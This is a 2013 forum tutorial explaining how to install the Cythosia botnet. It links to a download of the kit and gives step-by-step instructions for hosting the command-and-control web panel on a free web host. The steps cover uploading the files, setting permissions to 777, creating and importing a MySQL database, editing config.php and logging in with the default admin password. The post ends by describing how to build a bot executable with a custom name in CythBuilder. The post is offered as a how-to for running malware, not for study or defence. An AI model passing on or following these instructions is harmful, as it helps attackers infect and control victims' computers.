Thread: [Tutorial How to install cythosia botNet](#)

murkicidalAKAangel - February 27, 2013, 12:26 am

Leave feedback please.

Requirements:

- Cythosia bot, download Link Here:<http://ge.tt/api/1/files/49Pu5pN/0/blob?download>
- A web host on <http://www.SPAM.com/> or any other web host but this one is for free.

First Step:

Login into your webhost account or register and get into your web host. The website takes you to a page where you have": List of your domains."

Click on go to cPanel of the domain you've just made.

Second Step:

Extract the file you just downloaded to your desktop.

Scroll down the new page that is open and click on "File Manager" in the " Files" section.

note: If the site asks for a login, enter the password of your account.

Having a new page open, Open the document called " public_html",

There, Click the upload button,

You'll be redirected to a page where is:

Files

Files entered here will be transferred to the FTP server.

And

Archives (zip, tar, tgz, gz)

Archives entered here will be decompressed, and the files inside will be transferred to the FTP server.

- Under the archives section, click " Choose File". and choose the " webPanel zip archive that just came after you've extracted the download one. After that click the "Check" above the : "Upload to directory" and wait a few seconds.

Third Step:

Return back to the first page of the File manager.

Now to configure the files you've just uploaded so the bot could work, you have to enter the

webpanel folder on your webhost and click on Chmod after selecting all the files in it. You get redirected to : "Chmod directories and files" there change the Chmod value of the files to 777 and click the Check mark button.

Forth step:

Now you can exit the window your are in, and return to the members area: " Cpanel". There scroll down until you see : "> Software / Services", inside that section, click the one named after " MySQL ".

Create a new database with the username, database name and password you want, but keep them in your mind or save them somewhere.

Fifth Step:

Return back to the CPanel and click the " phpMyAdmin " in the same section as of the MySQL one. Press Enter phpMyAdmin to the database you've just created. A new window will open, in the one that just opened click, Import, the file that we must choose is the one named dump which is located in the Webpanel folder that you've extracted also in the beginning, select it and press " GO ". After doing that, you can now close that window.

Sixth Step:

Get Back to the Cpanel and press file manager again, Navigate to:

/public_html/Botnet/Webpanel/admin/inc

And Edit the config.php file, Edit it with the details of the Mysql Database, username and password you've just created.

Finally, save the file and exit the window.

Seventh Step:

Enter the domain of your webhost, you'll get to put a password, Type in " admin ".

*Creating a bot:

To create your bot just Open " CythBuilder " and change the " Domain " thing to your domain. After that you can change " 1.0.6 [beta] [23-03-2011]" to a name of your choice. And the " Drop Name.exe " to the file name you want to appear.
